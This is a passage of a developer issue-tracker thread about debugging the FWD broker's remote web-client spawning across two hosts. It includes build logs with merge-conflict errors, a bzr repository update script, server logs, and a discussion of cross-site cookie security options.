I can connect directly from laptop to dev1 no problem. I can also connect to the Admin Console, just to see how things are going. When I run the broker on dev2 (./client.sh -bc ../broker/broker1_client.xml) and try to connect from laptop to dev2 via https://fwddev2:7443/gui, there is a problem. The browser says:
This site can’t be reached fwddev2 refused to connect. Try: Checking the connection Checking the proxy and the firewall ERR_CONNECTION_REFUSED
But I can see in the Admin Console the broker1 has made a secure connection:

I have
/opt/spawner directory on dev2 same as on dev1.
The server log has:
26/01/05 11:00:48.322-0500 | INFO | com.goldencode.p2j.main.BrokerManager [BrokerManager.registerBroker()] | ThreadName:Conversation [00000006:broker1_process], Session:00000006, ThreadId:00000007, User:broker1_process | Broker user=broker1_process uuid=1372f609-9e49-4eb0-aa49-f3947a7ad598 registered.
#291 Updated by Sergey Ivanovskiy 7 months ago
Roger, you should connect to the server host but not to the broker host. From your description it is fwddev1:7443/gui, where the server is hosted.
The standard server is running on the host fwddev1 so this host must be accessible from https://fwddev1:7443/gui. The broker client on fwddev2 is connected to fwddev1 and will spawn the web client on fwddev2 on submitting user credentials to https://fwddev1:7443/gui and the spawned web client https://fwddev2:7449/ will be injected to the main iframe hosted on https://fwddev1:7443/gui web page.
#292 Updated by Sergey Ivanovskiy 7 months ago
Please use rev 16336 (9709b) because this cross-site cookie is not permitted with rev 16337 (9709b). I committed rev 16337 (9709b) for testing purposes.
#293 Updated by Roger Borrello 7 months ago
Sergey Ivanovskiy wrote:
Please use rev 16336 (9709b) because this cross-site cookie is not permitted with rev 16337 (9709b). I committed rev 16337 (9709b) for testing purposes.
Updating and retrying with your notes now.
#294 Updated by Roger Borrello 7 months ago
Am I receiving the below due to Java 17 updates or your updates?
fwd@basedev_ubuntu_2404_latest_container:~/projects/fwd/9709b$ fwd_update.sh --build rfb@xfer.goldencode.com's password: Tree is up to date at revision 16337 of branch bzr+ssh://rfb@xfer.goldencode.com/opt/fwd/9709b Setting repo to p2j in version.properties ... Setting branch to 9709b in version.properties ... Setting rev to 16337 in version.properties ... To honour the JVM settings for this build a single-use Daemon process will be forked. See https://docs.gradle.org/7.6.4/userguide/gradle_daemon.html#sec:disabling_the_daemon. Daemon will be stopped at the end of the build > Configure project : [ant:echo] propArg: > Task :buildVersion Product version: 4.0.0_p2j_9709b_16337 [ant:antlr] ANTLR Parser Generator Version 2.7.7 (20060906) 1989-2005 [ant:antlr] ANTLR Parser Generator Version 2.7.7 (20060906) 1989-2005 [ant:antlr] ANTLR Parser Generator Version 2.7.7 (20060906) 1989-2005 [ant:antlr] ANTLR Parser Generator Version 2.7.7 (20060906) 1989-2005 [ant:antlr] ANTLR Parser Generator Version 2.7.7 (20060906) 1989-2005 [ant:antlr] ANTLR Parser Generator Version 2.7.7 (20060906) 1989-2005 [ant:antlr] ANTLR Parser Generator Version 2.7.7 (20060906) 1989-2005 [ant:antlr] ANTLR Parser Generator Version 2.7.7 (20060906) 1989-2005 [ant:antlr] ANTLR Parser Generator Version 2.7.7 (20060906) 1989-2005 [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:264: error: illegal start of expression [ant:javac] <<<<<<< TREE [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:264: error: illegal start of expression [ant:javac] <<<<<<< TREE [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:264: error: illegal start of expression [ant:javac] <<<<<<< TREE [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:265: error: > expected [ant:javac] else if (cmd.indexOf(BrokerCore.PARAM_REMOTE_AGENT_HOST) > -1) [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:273: error: illegal start of expression [ant:javac] ======= [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:273: error: illegal start of expression [ant:javac] ======= [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:273: error: illegal start of expression [ant:javac] ======= [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:273: error: illegal start of expression [ant:javac] ======= [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:274: error: illegal start of expression [ant:javac] else if (cmd.indexOf(BrokerCore.PARAM_REMOTE_AGENT_HOST) > -1) [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:290: error: illegal start of expression [ant:javac] >>>>>>> MERGE-SOURCE [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:290: error: illegal start of expression [ant:javac] >>>>>>> MERGE-SOURCE [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:290: error: illegal start of expression [ant:javac] >>>>>>> MERGE-SOURCE [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:290: error: ';' expected [ant:javac] >>>>>>> MERGE-SOURCE [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/NativeSecureConnection.java:291: error: 'else' without 'if' [ant:javac] else [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:173: error: illegal start of expression [ant:javac] <<<<<<< TREE [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:173: error: illegal start of expression [ant:javac] <<<<<<< TREE [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:173: error: illegal start of expression [ant:javac] <<<<<<< TREE [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:174: error: > expected [ant:javac] if (remote) [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:189: error: illegal start of expression [ant:javac] ======= [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:189: error: illegal start of expression [ant:javac] ======= [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:189: error: illegal start of expression [ant:javac] ======= [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:189: error: illegal start of expression [ant:javac] ======= [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:190: error: illegal start of expression [ant:javac] if (remote) [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:197: error: illegal start of expression [ant:javac] >>>>>>> MERGE-SOURCE [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:197: error: illegal start of expression [ant:javac] >>>>>>> MERGE-SOURCE [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:197: error: illegal start of expression [ant:javac] >>>>>>> MERGE-SOURCE [ant:javac] ^ [ant:javac] /home/fwd/projects/fwd/9709b/src/com/goldencode/p2j/main/WebClientBuilder.java:197: error: ';' expected [ant:javac] >>>>>>> MERGE-SOURCE [ant:javac] ^ [ant:javac] 27 errors > Task :ant-compile FAILED FAILURE: Build failed with an exception. * What went wrong: Execution failed for task ':ant-compile'. > Compile failed; see the compiler error output for details. * Try: > Run with --stacktrace option to get the stack trace. > Run with --info or --debug option to get more log output. > Run with --scan to get full insights. * Get more help at https://help.gradle.org Deprecated Gradle features were used in this build, making it incompatible with Gradle 8.0. You can use '--warning-mode all' to show the individual deprecation warnings and determine if they come from your own scripts or plugins. See https://docs.gradle.org/7.6.4/userguide/command_line_interface.html#sec:command_line_warnings BUILD FAILED in 1m 2s 31 actionable tasks: 31 executed fwd@basedev_ubuntu_2404_latest_container:~/projects/fwd/9709b$
Perhaps I need to patch something to use a new gradle, if I recall correctly?
#295 Updated by Constantin Asofiei 7 months ago
Roger Borrello wrote:
Am I receiving the below due to Java 17 updates or your updates?
[...]Perhaps I need to patch something to use a new gradle, if I recall correctly?
Roger, there's something wrong on your side. 9709b/16337 compiles fine on my side - see the >>>>>> MERGE-SOURCE and <<<<<< TREE messages in your output, this is from some rebase? or something else.
#296 Updated by Roger Borrello 7 months ago
Yikes... The dbash.sh fwd_update.sh tool was using the xfer location, which I created with the standard tool script:
p=sftp://rfb@devsrv01/opt/secure/code/p2j_repo/p2j
b="trunk"
[ ! -z "$1" ] && b="$1"
if [ "$b" != "trunk" ]; then
p=${p}/active/$b
else
p=${p}/$b
fi
if [ -d "/opt/fwd/$b" ]; then
cd /opt/fwd/$b/
bzr bind $p
bzr update
bzr revert > /dev/null 2>&1
bzr unbind
sudo chown root:users -R .
sudo find . -type d -exec chmod g+s '{}' \; && sudo chmod 0775 . -R
cd
else
echo "/opt/fwd/$b" not found.
fi
However, it looks like the revert didn't really cleanup the 2 conflicts encountered. I ran it again, and they were cleaned up.
#297 Updated by Constantin Asofiei 7 months ago
You also need a bzr clean-tree --force to be sure you get a clean branch.
#298 Updated by Roger Borrello 7 months ago
Constantin Asofiei wrote:
You also need a
bzr clean-tree --forceto be sure you get a clean branch.
So this is good... should this be my standard framework for script that updates xfer versions of bzr repos?
p=sftp://rfb@devsrv01/opt/secure/code/p2j_repo/p2j
b="trunk"
[ ! -z "$1" ] && b="$1"
if [ "$b" != "trunk" ]; then
p=${p}/active/$b
else
p=${p}/$b
fi
if [ -d "/opt/fwd/$b" ]; then
cd /opt/fwd/$b/
bzr bind $p
bzr update
bzr revert > /dev/null 2>&1
bzr clean-tree --force
bzr unbind
sudo chown root:users -R .
sudo find . -type d -exec chmod g+s '{}' \; && sudo chmod 0775 . -R
cd
else
echo "/opt/fwd/$b" not found.
fi
#299 Updated by Constantin Asofiei 7 months ago
Yes, that should work.
#300 Updated by Roger Borrello 7 months ago
I'm getting a much more favorable situation, only the browser is indicating localhost refused to connect. I have the host as fwddev1 in the directory. The broker1 output shows:
fwd@fwddev2:~/projects/hotel_gui/deploy/client$ ./client.sh -bc ../broker/broker1_client.xml -h fwddev1
INFO: Spawn process started with pid 4394.
26/01/05 14:40:46.325-0500 | FINER | com.goldencode.p2j.net.SessionManager [SessionManager.createQueue()] | ThreadName:main | host = fwddev1; port = 3333; secure = true;
26/01/05 14:40:46.746-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: Creating NetSocketWrapper: /192.168.1.162:37309 -> fwddev1/192.168.1.241:3333
26/01/05 14:40:46.749-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(2)
26/01/05 14:40:46.750-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
26/01/05 14:40:46.754-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
26/01/05 14:40:46.755-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 1
26/01/05 14:40:46.756-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeInt(36)
26/01/05 14:40:46.757-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: writeBytes(byte[36])
26/01/05 14:40:46.758-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: flush
26/01/05 14:40:46.761-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
26/01/05 14:40:46.762-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readInt(): 0
26/01/05 14:40:46.763-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): ''
26/01/05 14:40:46.764-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readBoolean(): false
26/01/05 14:40:46.765-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:main | main: readUTF(): 'u76I91b1J50x0Sab'
26/01/05 14:40:47.112-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[46])
26/01/05 14:40:47.116-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[46]
26/01/05 14:40:47.140-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[189])
26/01/05 14:40:47.147-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[93]
26/01/05 14:40:47.150-0500 | FINER | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | public abstract java.lang.String[] com.goldencode.p2j.main.RemoteSpawner.getCommand(java.lang.String)
26/01/05 14:40:47.150-0500 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | parameters (ab0e4bd9-ab1a-4bd6-be53-e5e21d72545a)
26/01/05 14:40:47.151-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Writer | Writer: write(byte[83])
26/01/05 14:40:47.159-0500 | FINEST | com.goldencode.p2j.net.NetSocket | ThreadName:Reader | Reader: read(): byte[591]
26/01/05 14:40:47.160-0500 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [fwd, "", /home/fwd/projects/hotel_gui/deploy/client, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, client:web:host=${remote.agent.host}, remote:agent:dedicatedMode=${remote.agent.dedicatedMode}, client:web:port=7449, server:spawner:uuid=ab0e4bd9-ab1a-4bd6-be53-e5e21d72545a]
26/01/05 14:40:47.160-0500 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 9
26/01/05 14:40:47.161-0500 | FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
java.lang.RuntimeException: Only a stack trace, not a real exception!
at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:183)
INFO: Launch cmd arguments:
INFO: The argument number 0 is: fwd.
INFO: The argument number 1 is: "".
INFO: The argument number 2 is: /home/fwd/projects/hotel_gui/deploy/client.
INFO: The argument number 3 is: java.
INFO: The argument number 4 is: -Xmx512m.
INFO: The argument number 5 is: -Djava.awt.headless=true.
INFO: The argument number 6 is: -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/.
INFO: The argument number 7 is: -classpath.
INFO: The argument number 8 is: /home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar.
INFO: The argument number 9 is: com.goldencode.p2j.main.ClientDriver.
INFO: The argument number 10 is: net:server:host=fwddev1.
INFO: The argument number 11 is: net:socket:nio=false.
INFO: The argument number 12 is: net:ssl:trackSeqNo=false.
INFO: The argument number 13 is: net:connection:secure=true.
INFO: The argument number 14 is: net:server:secure_port=3333.
INFO: The argument number 15 is: sso:subject:id=bogus.
INFO: The argument number 16 is: sso:storage:id=storage-hotel.
INFO: The argument number 17 is: client:web:host=fwddev2.
INFO: The argument number 18 is: remote:agent:dedicatedMode=true.
INFO: The argument number 19 is: client:web:port=7449.
INFO: The argument number 20 is: server:spawner:uuid=ab0e4bd9-ab1a-4bd6-be53-e5e21d72545a.
INFO: Check user account for: fwd.
INFO: The password is null.
INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/fwd/projects/hotel_gui/deploy/client).
INFO: Spawn result code: (0).
INFO: Forked. Setting working directory to /home/fwd/projects/hotel_gui/deploy/client.
#301 Updated by Roger Borrello 7 months ago
The fwd_client_base_crash_20260105_144809.log contains localhost for CLIENT:WEB:HOST. I'm not sure where that comes from:
{
NET:QUEUE:CONVERSATION = true
NET:QUEUE:START_THREAD = false
NET:SERVER:HOST = fwddev1
NET:SERVER:SECURE_PORT = 3333
NET:SOCKET:NIO = false
NET:SSL:TRACKSEQNO = false
NET:CONNECTION:SECURE = true
SSO:SUBJECT:ID = bogus
SSO:STORAGE:ID = storage-hotel
CLIENT:WEB:HOST = localhost
CLIENT:WEB:PORT = 7450
CLIENT:WEB:SOCKETTIMEOUT = 90000
CLIENT:WEB:WATCHDOGTIMEOUT = 120000
CLIENT:WEB:MAXBINARYMESSAGE = 32768
CLIENT:WEB:MAXTEXTMESSAGE = 4096
CLIENT:WEB:MAXIDLETIME = 90000
CLIENT:WEB:DELAYBETWEENTRIESTOCONNECT = 1000
CLIENT:WEB:TRYTOCONNECTMESSAGE = \"The websocket connection to the application has been lost. Attempting to restore the connection.\"
CLIENT:WEB:SERVERUNAVAILABLEMESSAGE = \"The application server is no longer available. Please contact support.\"
CLIENT:WEB:CONNECTIONRESTOREDMESSAGE = \"The server connection has been restored.\"
CLIENT:WEB:PINGPONGINTERVAL = 30000
CLIENT:WEB:MAXOUTPUTBUFFERSIZE = 1048576
CLIENT:WEB:MAXOUTPUTAGGREGATIONSIZE = 8192
CLIENT:WEB:MAXHTTPIDLETIMEOUT = 0
CLIENT:WEB:MAXRESPONSEHEADERSIZE = 8192
CLIENT:WEB:MAXREQUESTHEADERSIZE = 8192
CLIENT:WEB:ENABLEDEBUGLOGGING = false
CLIENT:WEB:SNIHOSTCHECK = false
CLIENT:WEB:LANG = ?
CLIENT:WEB:USELOCALSTORAGE = false
CLIENT:WEB:BROADCASTCHANNELPINGTIMEOUT = -1
CLIENT:WEB:EMBEDDED = false
CLIENT:DRIVER:TYPE = gui_web
...
#302 Updated by Roger Borrello 7 months ago
Roger Borrello wrote:
I'm getting a much more favorable situation, only the browser is indicating localhost refused to connect. I have the host as
fwddev1in the directory. The broker1 output shows:
I had <agent dedicatedMode="true"/> and was receiving localhost refused to connect. When I changed to "false" I now get the URL that returns:
The webpage at https://fwddev2:7449/index.html?token=50f010cb3ad9ecdaa02132b52ec26fa8 might be temporarily down or it may have moved permanently to a new web address.
like we had a long time ago.
The crash log shows:
{
NET:QUEUE:CONVERSATION = true
NET:QUEUE:START_THREAD = false
NET:SERVER:HOST = fwddev1
NET:SERVER:SECURE_PORT = 3333
NET:SOCKET:NIO = false
NET:SSL:TRACKSEQNO = false
NET:CONNECTION:SECURE = true
SSO:SUBJECT:ID = bogus
SSO:STORAGE:ID = storage-hotel
CLIENT:WEB:HOST = fwddev2
CLIENT:WEB:PORT = 7450
CLIENT:WEB:SOCKETTIMEOUT = 90000
CLIENT:WEB:WATCHDOGTIMEOUT = 120000
CLIENT:WEB:MAXBINARYMESSAGE = 32768
CLIENT:WEB:MAXTEXTMESSAGE = 4096
CLIENT:WEB:MAXIDLETIME = 90000
...
so I will stay away from dedicated mode.
When I authorize access, we end up with Jetty errors in the broker crash log:
26/01/05 16:10:25.699-0500 | FINE | org.eclipse.jetty.util.thread.QueuedThreadPool | PID:4908, ThreadName:qtp275056979-29 | run org.eclipse.jetty.io.ManagedSelector$DestroyEndPoint@6881befc in QueuedThreadPool[qtp275056979]@10650953{STARTED,8<=8<=200,i=3,r=-1,t=59515ms,q=0}[ReservedThreadExecutor@7a34b7b8{capacity=1,threads=ThreadIdPool@66b72664{capacity=1}}]
26/01/05 16:10:25.699-0500 | FINER | org.eclipse.jetty.io.SelectableChannelEndPoint | PID:4908, ThreadName:qtp275056979-29 | Could not retrieve local socket address
java.nio.channels.ClosedChannelException
at java.base/sun.nio.ch.SocketChannelImpl.ensureOpen(SocketChannelImpl.java:195)
at java.base/sun.nio.ch.SocketChannelImpl.getLocalAddress(SocketChannelImpl.java:236)
at org.eclipse.jetty.io.SelectableChannelEndPoint.getLocalSocketAddress(SelectableChannelEndPoint.java:135)
at org.eclipse.jetty.io.AbstractEndPoint.toEndPointString(AbstractEndPoint.java:447)
at org.eclipse.jetty.io.SelectableChannelEndPoint.toEndPointString(SelectableChannelEndPoint.java:302)
at org.eclipse.jetty.io.AbstractEndPoint.toString(AbstractEndPoint.java:441)
at org.slf4j.helpers.MessageFormatter.safeObjectAppend(MessageFormatter.java:291)
at org.slf4j.helpers.MessageFormatter.deeplyAppendParameter(MessageFormatter.java:263)
at org.slf4j.helpers.MessageFormatter.arrayFormat(MessageFormatter.java:225)
at org.slf4j.helpers.MessageFormatter.arrayFormat(MessageFormatter.java:160)
at com.goldencode.p2j.util.logging.CentralSlf4jLogger.format(CentralSlf4jLogger.java:1069)
at com.goldencode.p2j.util.logging.CentralSlf4jLogger.debug(CentralSlf4jLogger.java:339)
at org.eclipse.jetty.io.ManagedSelector$DestroyEndPoint.run(ManagedSelector.java:1091)
at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981)
at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211)
at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166)
at java.base/java.lang.Thread.run(Thread.java:840)
26/01/05 16:10:25.699-0500 | FINER | org.eclipse.jetty.io.SocketChannelEndPoint | PID:4908, ThreadName:qtp275056979-29 | Could not retrieve remote socket address
java.nio.channels.ClosedChannelException
at java.base/sun.nio.ch.SocketChannelImpl.ensureOpen(SocketChannelImpl.java:195)
at java.base/sun.nio.ch.SocketChannelImpl.getRemoteAddress(SocketChannelImpl.java:248)
at org.eclipse.jetty.io.SocketChannelEndPoint.getRemoteSocketAddress(SocketChannelEndPoint.java:50)
at org.eclipse.jetty.io.AbstractEndPoint.toEndPointString(AbstractEndPoint.java:448)
at org.eclipse.jetty.io.SelectableChannelEndPoint.toEndPointString(SelectableChannelEndPoint.java:302)
at org.eclipse.jetty.io.AbstractEndPoint.toString(AbstractEndPoint.java:441)
at org.slf4j.helpers.MessageFormatter.safeObjectAppend(MessageFormatter.java:291)
at org.slf4j.helpers.MessageFormatter.deeplyAppendParameter(MessageFormatter.java:263)
at org.slf4j.helpers.MessageFormatter.arrayFormat(MessageFormatter.java:225)
at org.slf4j.helpers.MessageFormatter.arrayFormat(MessageFormatter.java:160)
at com.goldencode.p2j.util.logging.CentralSlf4jLogger.format(CentralSlf4jLogger.java:1069)
at com.goldencode.p2j.util.logging.CentralSlf4jLogger.debug(CentralSlf4jLogger.java:339)
at org.eclipse.jetty.io.ManagedSelector$DestroyEndPoint.run(ManagedSelector.java:1091)
at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:981)
at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1211)
at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1166)
at java.base/java.lang.Thread.run(Thread.java:840)
#303 Updated by Roger Borrello 7 months ago
- File 9709_broker1_unauthorized.png added
Sergey Ivanovskiy wrote:
In respect to
dedicatedModeplease test with this option and without the former.dedicatedModechangesipaddress of the spawned web client tolocalhost.
I reread this post, and again, that Greg said that it won't be used. I don't fully understanding it anyway, and probably need a picture.
In any case, in the Chrome debugger, it looks like there is a permissions problem preventing the page from being displayed:
And in the crash log, tons of pairs of:
26/01/05 17:45:41.295-0500 | FINER | org.eclipse.jetty.io.SelectableChannelEndPoint | PID:5504, ThreadName:qtp106557175-26 | Could not retrieve local socket address ... 26/01/05 17:45:41.295-0500 | FINER | org.eclipse.jetty.io.SocketChannelEndPoint | PID:5504, ThreadName:qtp106557175-26 | Could not retrieve remote socket address
#304 Updated by Sergey Ivanovskiy 7 months ago
Sergey Ivanovskiy wrote:
Please use rev 16336 (9709b) because this cross-site cookie is not permitted with rev 16337 (9709b). I committed rev 16337 (9709b) for testing purposes.
#305 Updated by Sergey Ivanovskiy 7 months ago
I had <agent dedicatedMode="true"/> and was receiving localhost refused to connect. When I changed to "false" I now get the URL that returns:
The webpage at https://fwddev2:7449/index.html?token=50f010cb3ad9ecdaa02132b52ec26fa8 might be temporarily down or it may have moved permanently to a new web address.
Roger, I cannot reproduce your issues.
#306 Updated by Sergey Ivanovskiy 7 months ago
From your logs I observed
26/01/05 14:40:47.160-0500 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | result = [fwd, "", /home/fwd/projects/hotel_gui/deploy/client, java, ${remote.jvm.args}, ${remote.broker.classpath}, com.goldencode.p2j.main.ClientDriver, net:server:host=${remote.host}, net:socket:nio=false, net:ssl:trackSeqNo=false, net:connection:secure=true, net:server:secure_port=${remote.secure.port}, sso:subject:id=bogus, sso:storage:id=storage-hotel, client:web:host=${remote.agent.host}, remote:agent:dedicatedMode=${remote.agent.dedicatedMode}, client:web:port=7449, server:spawner:uuid=ab0e4bd9-ab1a-4bd6-be53-e5e21d72545a]
26/01/05 14:40:47.160-0500 | FINEST | com.goldencode.p2j.net.RemoteObject [RemoteObject.invoke()] | ThreadName:main | elapsed millis = 9
26/01/05 14:40:47.161-0500 | FINER | com.goldencode.p2j.net.Queue [Queue.disable()] | ThreadName:main | Queue is stopping.
java.lang.RuntimeException: Only a stack trace, not a real exception!
at com.goldencode.p2j.net.Queue.disable(Queue.java:582)
at com.goldencode.p2j.net.SessionManager.endSession(SessionManager.java:1403)
at com.goldencode.p2j.net.BaseSession.terminate(BaseSession.java:243)
at com.goldencode.p2j.main.NativeSecureConnection.command(NativeSecureConnection.java:183)
INFO: Launch cmd arguments:
INFO: The argument number 0 is: fwd.
INFO: The argument number 1 is: "".
INFO: The argument number 2 is: /home/fwd/projects/hotel_gui/deploy/client.
INFO: The argument number 3 is: java.
INFO: The argument number 4 is: -Xmx512m.
INFO: The argument number 5 is: -Djava.awt.headless=true.
INFO: The argument number 6 is: -Djava.library.path=/home/fwd/projects/hotel_gui/p2j/build/lib/.
INFO: The argument number 7 is: -classpath.
INFO: The argument number 8 is: /home/fwd/projects/hotel_gui/p2j/build/lib/p2j.jar.
INFO: The argument number 9 is: com.goldencode.p2j.main.ClientDriver.
INFO: The argument number 10 is: net:server:host=fwddev1.
INFO: The argument number 11 is: net:socket:nio=false.
INFO: The argument number 12 is: net:ssl:trackSeqNo=false.
INFO: The argument number 13 is: net:connection:secure=true.
INFO: The argument number 14 is: net:server:secure_port=3333.
INFO: The argument number 15 is: sso:subject:id=bogus.
INFO: The argument number 16 is: sso:storage:id=storage-hotel.
INFO: The argument number 17 is: client:web:host=fwddev2.
INFO: The argument number 18 is: remote:agent:dedicatedMode=true.
INFO: The argument number 19 is: client:web:port=7449.
INFO: The argument number 20 is: server:spawner:uuid=ab0e4bd9-ab1a-4bd6-be53-e5e21d72545a.
INFO: Check user account for: fwd.
INFO: The password is null.
INFO: Starting with argv[MIN_ARGS_COMMAND]: (java), argv[MIN_ARGS_COMMAND - 1]: (/home/fwd/projects/hotel_gui/deploy/client).
INFO: Spawn result code: (0).
INFO: Forked. Setting working directory to /home/fwd/projects/hotel_gui/deploy/client.
that
remote:agent:dedicatedMode=true but this parameter should change client:web:host=fwddev2 to client:web:host=localhost so this part should not work in your setup. remote:agent:dedicatedMode should be false.I would like that you noted my repeated messages about the revision number that is needed to use with your setup #9709-304 and #9709-292.
#307 Updated by Sergey Ivanovskiy 7 months ago
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
Hynek, could you please explain or develop your idea more thoroughly because it is not clear for me now. The spawned web client gets security token through the spawn process but the js web client is authenticated via this security cookie.
Please let me re-iterate the idea.
The same-site policy must not be set to
NONE, this introduces the vulnerability mentioned in my previous message.Now to overcome the authorization cookie not accessible by the inner iframe (served by the client) I see two options.
1. A reverse proxy so that both the server content and the client content appear as a single domain.
or:
2. Do not use the secure cookie for authorization but instead send an authorization token in the Authorization HTTP header. This will require a change in
AuthHandler(and JS driver), but the result will allow more deployment options (without the reverse proxy).
I used the hybrid method with the secure cookie and one time security token to prove that the secure cookie can work but it needs to setup them at the right moment but not on the first response when the iframe gets redirect url to the cross-site https://*:7449/index.html?token=ba717f0f0a72cb452bdd98d76f75edf6. It looks from the code that this page index.html should load our current client template page. At this moment the secure cookie is not forbidden by Chrome.
#308 Updated by Roger Borrello 7 months ago
Sergey Ivanovskiy wrote:
Sergey Ivanovskiy wrote:
Please use rev 16336 (9709b) because this cross-site cookie is not permitted with rev 16337 (9709b). I committed rev 16337 (9709b) for testing purposes.
Sorry... I missed the one revision. I'll back off to 16336.
#309 Updated by Roger Borrello 7 months ago
- File 9709_hotel_open_again.png added
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
Sergey Ivanovskiy wrote:
Please use rev 16336 (9709b) because this cross-site cookie is not permitted with rev 16337 (9709b). I committed rev 16337 (9709b) for testing purposes.
Sorry... I missed the one revision. I'll back off to 16336.
The Hotel is open again with this revision! Thank you for your patience.
#310 Updated by Roger Borrello 7 months ago
Sergey Ivanovskiy wrote:
From your logs I observed
[...]
